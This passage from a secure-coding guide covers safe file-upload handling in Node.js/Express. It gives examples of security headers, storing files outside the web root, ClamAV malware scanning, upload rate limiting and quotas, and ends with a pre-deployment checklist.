res.setHeader('X-Content-Type-Options', 'nosniff');
res.setHeader('Content-Security-Policy', "default-src 'none'; img-src 'self'");
const filePath = path.join('uploads/images', file.storageFilename);
res.sendFile(filePath);
});Benefit: Forces download for executable types, prevents XSS from uploaded files
---
✅ ALWAYS: Store Files Outside Web Root
// ✅ Store uploads outside publicly accessible directory
// Project structure:
// /var/www/app/
// ├── public/ (web root, served by nginx)
// ├── src/
// └── uploads/ (OUTSIDE web root)
// └── files/
// ❌ NEVER: uploads inside public/
// /var/www/app/public/uploads/ (❌ directly accessible)
// ✅ Serve files through application logic
const UPLOAD_DIR = path.join(__dirname, '..', 'uploads', 'files');
app.get('/api/download/:fileId', authenticate, async (req, res) => {
const { fileId } = req.params;
// ✅ Authorization check
const file = await db.files.findUnique({
where: { id: fileId },
});
if (!file || !canAccessFile(req.user, file)) {
return res.status(403).json({ error: 'Access denied' });
}
// ✅ File served through application, not static server
const filePath = path.join(UPLOAD_DIR, file.storageFilename);
res.sendFile(filePath);
});
// ✅ Nginx configuration (DO NOT serve uploads directly)
/*
location /uploads {
deny all; # Prevent direct access
}
location /api {
proxy_pass http://localhost:3000; # Application handles file serving
}
*/Benefit: All file access goes through application authentication/authorization
---
✅ ALWAYS: Scan Files for Malware
import { NodeClam } from 'clamscan';
// ✅ Configure ClamAV scanner
const clam = new NodeClam({
clamdscan: {
host: process.env.CLAMAV_HOST || 'localhost',
port: 3310,
},
});
async function scanFile(filePath: string): Promise<boolean> {
try {
const { isInfected, viruses } = await clam.isInfected(filePath);
if (isInfected) {
console.warn('Malware detected', {
file: filePath,
viruses,
timestamp: new Date().toISOString(),
});
// ✅ Delete infected file immediately
await fs.unlink(filePath);
return false; // Infected
}
return true; // Clean
} catch (error) {
console.error('Virus scan failed', error);
// ✅ Fail closed: reject file if scan fails
return false;
}
}
// ✅ Scan during upload
app.post('/api/upload', upload.single('file'), async (req, res) => {
const file = req.file!;
try {
// ✅ Validate file type
const isValidType = await validateFileType(file.path, allowedTypes);
if (!isValidType) {
await fs.unlink(file.path);
return res.status(400).json({ error: 'Invalid file type' });
}
// ✅ Scan for malware
const isClean = await scanFile(file.path);
if (!isClean) {
// File already deleted by scanFile
return res.status(400).json({ error: 'Malware detected' });
}
// Move to permanent location...
} catch (error) {
await fs.unlink(file.path).catch(() => {});
res.status(500).json({ error: 'Upload failed' });
}
});Benefit: Prevents malware distribution, protects other users
---
✅ ALWAYS: Implement Upload Rate Limiting
import rateLimit from 'express-rate-limit';
// ✅ Rate limit file uploads
const uploadLimiter = rateLimit({
windowMs: 60 * 60 * 1000, // 1 hour
max: 10, // 10 uploads per hour per user
keyGenerator: (req) => req.user?.userId || req.ip,
message: 'Too many uploads, please try again later',
});
// ✅ Per-user storage quota
async function checkStorageQuota(
userId: string,
fileSize: number
): Promise<boolean> {
const userFiles = await db.files.findMany({
where: { uploadedBy: userId },
});
const totalSize = userFiles.reduce((sum, file) => sum + file.size, 0);
const QUOTA = 100 * 1024 * 1024; // 100MB per user
return totalSize + fileSize <= QUOTA;
}
app.post('/api/upload',
authenticate,
uploadLimiter,
upload.single('file'),
async (req, res) => {
const file = req.file!;
const userId = req.user!.userId;
// ✅ Check quota
if (!(await checkStorageQuota(userId, file.size))) {
await fs.unlink(file.path);
return res.status(403).json({ error: 'Storage quota exceeded' });
}
// Process file...
}
);Benefit: Prevents abuse, disk exhaustion, controls costs
---
Pre-Deployment Checklist
Before deploying to production:
- [ ] File type validated by magic bytes (not extension)
- [ ] Random UUIDs used for storage filenames
- [ ] Original filenames sanitized before display
- [ ] File size limits enforced (5-10MB typical)
- [ ] Upload rate limiting per user/IP
- [ ] Storage quotas per user implemented
- [ ] Files stored outside web root directory
- [ ] Content-Disposition: attachment for downloads
- [ ] X-Content-Type-Options: nosniff header set
- [ ] CSP header prevents script execution from uploads
- [ ] Malware scanning configured (ClamAV or similar)
- [ ] Authorization checks before file access
- [ ] Path traversal prevention (no user input in paths)
- [ ] Executable extensions blocked (.php, .jsp, .sh, .exe)
- [ ] SVG files sanitized if allowed (remove scripts)